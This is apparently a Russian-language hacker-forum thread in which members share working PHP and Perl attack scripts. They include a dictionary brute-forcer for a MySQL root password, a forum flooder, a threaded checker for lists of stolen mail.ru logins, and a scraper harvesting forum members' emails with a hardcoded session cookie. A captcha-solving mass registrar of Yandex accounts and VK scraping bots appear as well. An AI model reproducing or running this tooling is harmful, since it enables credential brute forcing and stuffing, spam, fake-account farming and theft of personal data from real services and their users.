Всем доброе утро! Я написал такой скриптик который пробует подобрать пароль к mysql серверу. Пробовал его у себя на компе работает нормально. Вопрос, посмтрите и скажите может ли он подобрать пароль к удаленному mysql серверу? Или сервера настроены все так чтобы подключаться можно было только из локальной машины? PHP: <html> <head> <title>Shpion</title> </head> <body> <h2>Made by Patron</h2> <a href = "http://www.libra.com/sql_shpion/tr.php">tr</a><br><br> <?php $dir = opendir("slovnuku"); while($file = readdir($dir)) { if(($file != "..")&&($file != ".")) { $slovnuku[]= $file; } } $size = sizeof($slovnuku); if($size != 0 ) { foreach ($slovnuku as $curslovnuk) { echo'<a href = "http://www.libra.com/sql_shpion/shpion.php?curslovnuk='.$curslovnuk.'">'.$curslovnuk.'</a><br>'; } } closedir ($dir); $curslov = $_GET['curslovnuk']; echo'<center><a href = "http://www.libra.com/sql_shpion/shpion.php?unset=1">Вийти зісловника</a><br><br></center>'; if($_GET['unset'] == 1) { unset($curslov); } if(isset($curslov)) { $slovnuk = file("slovnuku/$curslov"); foreach ($slovnuk as $curworld) { //echo''.$curworld.'<br>'; $curworld = rtrim($curworld); $coonect = mysql_connect("localhost", "root", $curworld); if($coonect != false) { $fp = fopen("pas.txt", "a+"); $password = $curworld; $string = "Пароль підібрано ----".$password."\n"; fputs($fp, $string); fclose($fp); echo'<p>Я вас вітаю! Пароль підібрано успішно!</p>'; exit; } else { echo '<p> В цьому словнику не знайшлося паролю(( </p>'; } } } ?> </body> </html>
Сборщик Id из групп Недавно понадобилось много id пользователей, решил написать скрипт сбора Id из групп Вконтакте PHP: <?php set_time_limit(0); //-----------------// $email = " "; // E-mail $pass = " "; // Пароль $id = " "; // Id группы $base = "base.txt"; // Файл с id'ами $sleep = "3"; // Задержка (сек.) //-----------------// /* Авторизация */ $ch = curl_init("http://vkontakte.ru/login.php"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0"); curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php"); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res_index = curl_exec($ch); /* Заходим в группу... */ curl_setopt($ch, CURLOPT_URL, "http://vkontakte.ru/search.php?e=1&group=".$id); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res_cookie = curl_exec($ch); /* ...и смотрим сколько в ней человек */ preg_match('#<strong>Найдено (.*?) ч#i', $res_cookie, $people); /* Цикл для захода на след.страницу с Id'ами */ for ($i = 0; $i < ceil($people[1]/10); $i++){ $ch = curl_init("http://vkontakte.ru/search.php?e=1&group=".$id."&st=".$i."0"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); /* Парсим Id */ for ($n = 0; $n <= 10; $n++){ preg_match_all('#vkontakte.ru/u(.*?)/#i', $result, $end); if ($end[1][$n] != ''){ $fh = fopen($base, "a+"); $success - fwrite($fh, $end[1][$n]."\n"); fclose($fh);}} sleep($sleep); } /* geforse.name */ ?>
[Perl] IPB Forum Flooder Code: #!/usr/bin/perl use IO::Socket; $phost = 'localhost'; #хост прокси $pport = 8118; #порт прокси $link = 'http://forum.ru'; #ссылка на форум без / в конце $host = 'forum.ru'; #хост форума $user = 'Юзир'; #юзер $pass = 'pxVoQV'; #пасс $topic = 'Превед'; #название топика $message = 'Превед'; #текст $forum = 2; #id форума $sleep = 34; #задержка $count = 35; #сколько топегов создать ###логинемся### $post = "$link/index.php?act=Login&CODE=01&CookieDate=1"; $data = "UserName=$user&PassWord=$pass"; ###получаем сессию### $answ = request($post,$data); ($session,$session) = $answ =~ m/session_id=([a-z0-9]{32})/sg; $topic = urlen($topic); $message = urlen($message); for (0..$count){ ###топег### грузим страницу поста и парсим хидден кеи $post = "$link/index.php?act=Post&CODE=00&f=$forum"; $top = "TopicTitle=$topic&Post=$message&s=$session"; $answa = request($post,$top); @key = $answa =~ m/value=\'([a-zA-Z0-9]{32})\'/gsx; $authkey = $key[1]; $postkey = $key[2]; ###постем### $post = "$link/index.php?act=Post&CODE=01&f=$forum"; $top = "TopicTitle=$topic&Post=$message&s=$session&auth_key=$authkey&postkey=$post_key&iconid=1"; $answ2 = request ($post,$top); $session = $answ2 =~ m/session_id=([a-z0-9]{32})/g; print "[+] Message ".$i++." posted\n"; sleep ($sleep); } sub request { ($post,$data) = @_; $sock = IO::Socket::INET->new(PeerAddr=>$phost,PeerPort=>$pport,Proto=>'tcp') || die '[-] Cant connect'; print $sock "POST $post HTTP/1.1\r\n". "Host: $host\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: ".length($data)."\r\n". "User-Agent: Perl\r\n". "Connection: close\r\n\r\n$data"; while ($answ = <$sock>){ $answer .= $answ; } close $sock; return $answer; } sub urlen { ($str)=@_; $str=~s/([^0-9A-Za-z\?&=:;])/sprintf("%%%x", ord($1))/eg; return $str }
сёдня покапался с .htaccess И так 'нулевое расширение файла' К примеру создадим файл site.php В него PHP: <?PHP echo $_GET['text']; ?> В адресной строке будет как; Смысл скрипта в том что убирается расширение файла
о взор мои сединам. + - 1 или более; * - 0 или более, у тебя все вместе...,далее: ^ - начало строки, $- конец ,у тебя все вместе. сорри за оффтоп но как оно у тебя работает?
Отмена приглашений в группу PHP: <?php set_time_limit(0); //-----------------// $email = " "; // E-mail $pass = " "; // Пароль $id = " "; // Id группы $amount = "50"; // Количество Id'ов для удаления $sleep = "3"; // Задержка (сек.) //-----------------// /* Авторизация */ $ch = curl_init("http://vkontakte.ru/login.php"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0"); curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php"); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res_index = curl_exec($ch); function page($id = '') { /* Заходим в группу... */ $ch = curl_init("http://vkontakte.ru/groups.php?act=members&gid=".$id."&op=1#pages/0_1"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); /* Получаем Id'ы пользователей на первой странице */ preg_match_all('#memberName_(.*?)"#i', $result, $end); return $end; } for ($p = 1; $p <= ceil($amount/50); $p++){ $end = page($id); /* Удаляем Id'ы */ for ($i = 0; $i <= 50; $i++){ $ch = curl_init("http://vkontakte.ru/groups.php?act=deleteInvited&id=".$end[1][$i]."&gid=".$id); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/groups.php?act=members&gid=".$id); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res_index = curl_exec($ch); sleep($sleep); } } /* geforse.name */ ?>
geforse $amount = "50"; зачем тогда? Наверно,надо заменить for ($i = 0; $i <= 50; $i++){ на for ($i = 0; $i <= $amount; $i++){
глянь на пару строчек вверх, поймеш в чем дело. п.с срипт сразу у меня не заработал потом после того как осмотрел его заметил 23 строчку function page($id = '') ну я туда впихнул группу типа function page($id = '1111') и все заработало)))) спс за скрипт, мне как раз такой нужен был
Наверно не надо там этого заменять Минималное количество отмененных id равно 50 Всё остальное считается так: for ($p = 1; $p <= ceil($amount/50); $p++) zifanchuck, извини там за ошибку, скрипт писал очень давно и судя по ошибке наверно спешил))
Вечный Онлайн Вконтакте просили в этой теме [+] Авторизируется по cookie [+] Если cookie "мертвые",то с вашим E-mail/Password [+] При необходимости пишет log-файл PHP: <?php set_time_limit(0); //-----------------// $email = ""; // E-mail $pass = ""; // Пароль $log = "0"; // 1 - Если нужно писать log-файл //-----------------// $ch = curl_init("http://vkontakte.ru/index.php"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook7777"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); if (preg_match('#l">E(.*?)<#i',$result,$avtoriz)) { $ch = curl_init("http://vkontakte.ru/login.php"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0"); curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php"); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook7777"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res_index = curl_exec($ch); if ($log == "1") { $fh = fopen("log.txt", "a+"); $success - fwrite($fh, "Авторизация [".date("H:i")."]\r\n"); fclose($fh); } } else { if ($log == "1") { $fh = fopen("log.txt", "a+"); $success - fwrite($fh, "Работа через cookie [".date("H:i")."]\r\n"); fclose($fh); } } /* geforse.name */ ?> P.S. Заметил одну ошибку, у меня в пароле присутствует знак $, urlencode его почему-то не верно кодирует и авторизация не проходит. Если у вас скрипт не авторизиуется, то попробуйте поменять пароль на буквено-цифровой
Возьми за привычку не использовать двойные ковычки там где нет переменных. У тебя неавторизовуется из-за них, потому как спецсиволы нужно екранировать.
написал скриптик для отсылки статистики с партнерской программы nicetest на мобилку (смс) через сайт mts.com.ua я только начал изучения курла и вообще я не спец по пхп, так что код у меня не гут) но главное работает) ввести нужно логин, пасс, номер, и абсолютный путь к картинке с каптчой. и еще нужно отредактировать 120 и 150 строчки(вставить туда апикей) ставим на крон и все))) вот сам код PHP: <?php set_time_limit(0); //NiceTest.ru $login = " "; //Логин на партнерке $pass = " "; //пароль на партнерке $operator = "095"; // Оператор $nomer = "1234567"; // Номер $apath = "абсолютный/путь/к/cap.jpg"; //Абсолютный путь к cap.jpg //Авторизация на Nicetest $ch = curl_init("http://partners.nicetest.ru/admin.php?login=1"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".urlencode($login)."&password=".urlencode($pass)); curl_setopt($ch, CURLOPT_REFERER, "http://partners.nicetest.ru"); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res_index = curl_exec($ch); //Грабим сумму $res_index = str_replace("Заработано за период: <font class=main_12>","***", $res_index); $res_index = str_replace("$</font></td></tr>","***", $res_index); $res_index = str_replace("Заработано сегодня: <font class=main_12>","***", $res_index); $res_index = str_replace("Из них рефералами: <font class=main_12>","***", $res_index); list($str1, $str2, $str3, $str4, $str5, $str6) = explode("***", $res_index); $segod = $str2; $period = $str4; $referal = $str6; //отправка смс $message = "segod=".$segod.";\r\nperiod=".$period.";\r\nreferal=".$referal; $ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4'; $ch = curl_init('http://www.mts.com.ua/ukr/sendsms.php'); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_REFERER, 'http://www.mts.com.ua/ukr/sendsms.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ch); curl_close($ch); ### Func ### function get_session($var) { preg_match('#PHPSESSID=(.*);#',$var,$matches); $session = $matches[1]; return $session; } ############ $session = get_session($res); if(preg_match('#captcha\.php\?PHPSESSID=(.*)&rnd=(.*)" alt="Код"#',$res,$matches)) { $rnd = $matches[2]; $ch = curl_init("http://www.mts.com.ua/back/modules/golden/captcha.php?PHPSESSID=$session&rnd=$rnd"); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$session); curl_setopt($ch, CURLOPT_REFERER, 'http://www.mts.com.ua/ukr/sendsms.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ch); curl_close($ch); file_put_contents('cap.jpg',$res); } ####################################### function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 3, $mtimeout = 200, $is_phrase = 0, $is_regsense = 1, $is_numeric = 0, $min_len = 0, $max_len = 0) { if (!file_exists($filename)) { if ($is_verbose) echo "file $filename not found\n"; return false; } $postdata = array( 'method' => 'post', 'key' => $apikey, 'file' => '@'.$filename, 'phrase' => $is_phrase, 'regsense' => $is_regsense, 'numeric' => $is_numeric, 'min_len' => $min_len, 'max_len' => $max_len, ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://ac-service.info/in.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); $result = curl_exec($ch); if (curl_errno($ch)) { if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n"; return false; } curl_close($ch); if (strpos($result, "ERROR")!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } else { $ex = explode("|", $result); $captcha_id = $ex[1]; if ($is_verbose) echo "ID $captcha_id \n"; $waittime = 0; if ($is_verbose) echo "<br>sleep $rtimeout \n"; sleep($rtimeout); while(true) { $result = file_get_contents('http://ac-service.info/res.php?key=4d00d7b9863...........3f694&action=get&id='.$captcha_id); //сюда кей антикаптчи if (strpos($result, 'ERROR')!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } if ($result=="CAPCHA_NOT_READY") { if ($is_verbose) echo "<br>captcha is not ready yet\n"; $waittime += $rtimeout; if ($waittime>$mtimeout) { if ($is_verbose) echo "<br>timelimit ($mtimeout) hit\n"; break; } if ($is_verbose) echo "<br>waiting for $rtimeout seconds\n"; sleep($rtimeout); } else { $ex = explode('|', $result); if (trim($ex[0])=='OK') return trim($ex[1]); echo '<br>'.$ex[1]; } } return false; } } ####################################### $captcha=recognize($apath ,"4d00d7b...............93f694",true); //сюда кей антикаптчи $ch = curl_init("http://www.mts.com.ua/back/modules/sms/db_sms.php"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "script=%2Fukr%2Fsendsms.php&sms_tag_id=3&network1=38".$operator."&phone1=".$nomer."&message=".$message."&lang=lat&captcha=".$captcha); curl_setopt($ch, CURLOPT_REFERER, "http://www.mts.com.ua/ukr/sendsms.php"); curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$session); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res_index = curl_exec($ch); ?> смска приходит вида segod=999; period=999; referal=999 п.с прошу не пинать)
[PERL] МойМир чекер Code: #!/usr/bin/perl # my.mail.ru accounts checker by Gaus use strict; use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; use Fcntl ':flock'; ############################### my $file_accs = 'accs.txt'; # Файл с аккаунтами my $delm_accs = ';'; # Разделитель списка аккаунтов my $threads = 10; # Кол-во потоков ############################### open my $file, '<', $file_accs or die "\nCould not open accounts file!\n"; chomp(my @accs : shared = <$file>); close $file; threads->new(\&main) for 1 .. $threads; $_->join for threads->list; sub main { while(@accs) { my ($mail,$pass) = split $delm_accs => shift @accs;; my ($login,$domain) = split '@' => $mail; my $ua = LWP::UserAgent->new(timeout => 35, cookie_jar => new HTTP::Cookies, agent => agent()); my $answ = $ua->post('http://swa.mail.ru/cgi-bin/auth', ['action1' => 'Login', 'Login' => $login, 'Domain' => $domain, 'Password' => $pass])->code; if($answ == 302) { my $resp = $ua->get("http://my.mail.ru/")->content; if($resp =~ m,friends_requests" class="mf_menu2">(.*?)</a> (\d+)</div>,i) { if($2 > 0) { wf('acccounts_with_friends.txt',"$mail;$pass\n"); print "[ + ] $mail;$pass:$2\n"; } else { print "[ ~ ] $mail;$pass:0\n"; wf('acccounts_without_friends.txt',"$mail;$pass\n"); } } else { print "[ ~ ] $mail;$pass\n"; } } else { print "[ - ] $mail;$pass\n"; } } } sub agent { my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0); return $agents[rand scalar @agents]; } sub wf { open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n"; flock $dat, LOCK_EX; print $dat $_[1]; flock $dat, LOCK_UN; close $dat; } Download(pass: antichat)
Парсер контента, работает с cookies. Скрипт Pashkela, поддержка cookies Pavlov. PHP: <?php $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nReferer: http://forum.antichat.ru/index.php?\nCookie: abblastvisit=1251307988; abblastactivity=deleted; abbuserid=95513; abbpassword=bdbb9260271d89f701d585f6435112c8; abbsessionhash=0060e7152bd8aa91132d8b877bf9a097;\n" ) ); $context = stream_context_create($opts); $start = 95512;//Стартовая страница $end = 95514;//Последняя страница $pause = 1;//пауза в секундах между каждой страницей $result = fopen('m.txt','w');//контент for ($i=$start;$i<=$end;$i++) { $a = file_get_contents('http://forum.antichat.ru/sendmessage.php?do=mailmember&u=' . $i . ' ', false,$context); preg_match_all('/: <a href="mailto:.*?\">/ism',$a,$res[$i]); $res[$i] = array_unique($res[$i][0]); $b = implode ("\r\n",$res[$i]); fwrite ($result,$b . "\r\n"); sleep($pause); } fclose ($result); echo "<html><title>The mail</title><body bgcolor='#363940'>"; echo "<font color='c1c1c7'>The mail accounts of the members </font> "; echo "<font color='PaleGreen'>[" . $start . "-" . $end . "]</font> "; echo "<font color='c1c1c7'>has been saved as </font>"; echo "<font color='PaleGreen'>m.txt</font></html></body>"; ?>
Авторегер E-mail + сайтов Narod.ru PHP: <?php set_time_limit(0); //-----------------// $email = 'yandex_mail.txt'; // Файл с E-mail $narod = 'narod.txt'; // Файл с FTP $ammount = '5'; // Количество регистраций $divider = ':'; // Разделитель $ac_key = ' '; // Ключ антикапчи #$proxy = ' '; // Можно через покси (в функции 'post' нужно раскоментировать строку с $proxy) //-----------------// function post($url,$post,$refer) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); #curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); return $result; } /* Функция для распознавания капчи */ function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 1, $min_len = 0, $max_len = 0) { if (!file_exists($filename)) { if ($is_verbose) echo "file $filename not found\n"; return false; } $postdata = array( 'method' => 'post', 'key' => $apikey, 'file' => '@'.$filename, //полный путь к файлу 'phrase' => $is_phrase, 'regsense' => $is_regsense, 'numeric' => $is_numeric, 'min_len' => $min_len, 'max_len' => $max_len, ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://ac-service.info/in.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); $result = curl_exec($ch); if (curl_errno($ch)) { if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n"; return false; } curl_close($ch); if (strpos($result, "ERROR")!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } else { $ex = explode("|", $result); $captcha_id = $ex[1]; if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n"; $waittime = 0; if ($is_verbose) echo "waiting for $rtimeout seconds\n"; sleep($rtimeout); while(true) { $result = file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id); if (strpos($result, 'ERROR')!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } if ($result=="CAPCHA_NOT_READY") { if ($is_verbose) echo "captcha is not ready yet\n"; $waittime += $rtimeout; if ($waittime>$mtimeout) { if ($is_verbose) echo "timelimit ($mtimeout) hit\n"; break; } if ($is_verbose) echo "waiting for $rtimeout seconds\n"; sleep($rtimeout); } else { $ex = explode('|', $result); if (trim($ex[0])=='OK') return trim($ex[1]); } } return false; } } function login() { $letters = 'abcdefghijklmopkqrstuvwxyz'; for ($p = 0; $p < 20; $p++) { $login .= $letters{rand(0, strlen($letters) - 1)}; } return $login; } /* Пока не достигнем нужного количества e-mail/ftp, не заканчиваем регистрацию */ for ($y = 1; $y <= $ammount; $y++) { /* Генерируем Логин... */ $login = login(); /* ...имя */ $name = rand(0,7777777); /* ...пароль */ $password = rand(0,7777777); /* Выходи из почты */ post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/'); /* Начинаем регистрацию */ $result = post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru'); /* Получаем значения */ preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd); preg_match('#idkey" value="(.*?)"#i',$result,$idkey); preg_match('#\?idkey=(.*?)"#i',$result,$captcha); /* Создаём картинку капчи */ file_put_contents('captcha.jpg',file_get_contents('http://passport.yandex.ru/digits?idkey='.$captcha[1])); /* Распознаём её */ $text=recognize(getcwd()."/captcha.jpg",$ac_key,false); /* Регистрируем E-mail... */ $result = post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$ncrnd[1],'idkey='.$idkey[1].'&step=two&filled=yes&login='.$login.'&fname='.$name.'&iname='.$name.'&time='.time().'&passwd='.$password.'&passwd2='.$password.'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.$text.'&agreed=yes', 'http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']); /* ...и FTP */ $ftp = post('http://narod.yandex.ru/disk/narod/',null,'http://yandex.ru/'); /* Проверяем всё ли прошло успешно */ if(preg_match('#logout">(.*?)<#i',$result,$end)) { /* Сохраняем результаты */ $fh = fopen($email, "a+"); $success - fwrite($fh, $login.'@yandex.ru'.$divider.$password."\r\n"); fclose($fh); $na = fopen($narod, "a+"); $success - fwrite($na, $login.'.narod.ru'.$divider.$password."\r\n"); fclose($na); } } /* geforse.name */ ?> Полуавтоматический регистратор E-mail Яндекс PHP: <?php set_time_limit(0); //-----------------// $email = 'yandex.txt'; // Файл с E-mail $divider = ':'; // Разделитель //-----------------// function post($url,$post,$refer) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); return $result; } /* Генерируем Логин... */ $letters = 'abcdefghijklmopkqrstuvwxyz'; for ($i = 0; $i < 20; $i++) { $login .= $letters{rand(0, strlen($letters) - 1)}; } /* ...имя */ $name = rand(0,7777777); /* ...пароль */ $password = rand(0,7777777); /* Если нам передали капчу */ if($_POST['captcha']) { /* Отправляем данные*/ $result = post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd'],'idkey='.$_POST['idkey'].'&step=two&filled=yes&login='.$_POST['login'].'&fname='.$_POST['name'].'&iname='.$_POST['name'].'&time='.time().'&passwd='.$_POST['password'].'&passwd2='.$_POST['password'].'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.trim($_POST['captcha']).'&agreed=yes', 'http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']); /* Проверка правильности ввода капчи */ if (preg_match('#or">(.*?) н#i',$result,$bad_capt)) { echo '<script>alert(\'Не правильный код!\')</script>'; } else { /* Запись в файл */ $fh = fopen($email, "a+"); $success - fwrite($fh, $_POST['login'].'@yandex.ru'.$divider.$_POST['password']."\r\n"); fclose($fh); } Header('Location: index.php'); exit; } else { /* Если не передали капчу */ /* Выходим из почты */ post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/'); /* Начинаем регистрацию */ $result = post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru'); /* Получаем значения */ preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd); preg_match('#idkey" value="(.*?)"#i',$result,$idkey); preg_match('#\?idkey=(.*?)"#i',$result,$captcha); /* Выводим форму для ввода капчи (в hidden передаём необходимые значения) */ echo '<img class="captcha-img" name="captcha" src="http://passport.yandex.ru/digits?idkey='.$captcha[1].'" alt=""><br> <form name="captcha_form" action="index.php" method="POST"> <input type="text" name="captcha" value="" /><br> <input type="hidden" name="ncrnd" value="'.$ncrnd[1].'" /> <input type="hidden" name="idkey" value="'.$idkey[1].'" /> <input type="hidden" name="name" value="'.$name.'" /> <input type="hidden" name="login" value="'.$login.'" /> <input type="hidden" name="password" value="'.$password.'" /> <input type="submit" value="ok"> </form>'; } /* Выводим результат */ if (file_exists($email)) { $quantity_email = count(file($email)); echo 'В базе <b>'.$quantity_email.'</b> E-mail'; } /* geforse.name */ ?> /* geforse.name */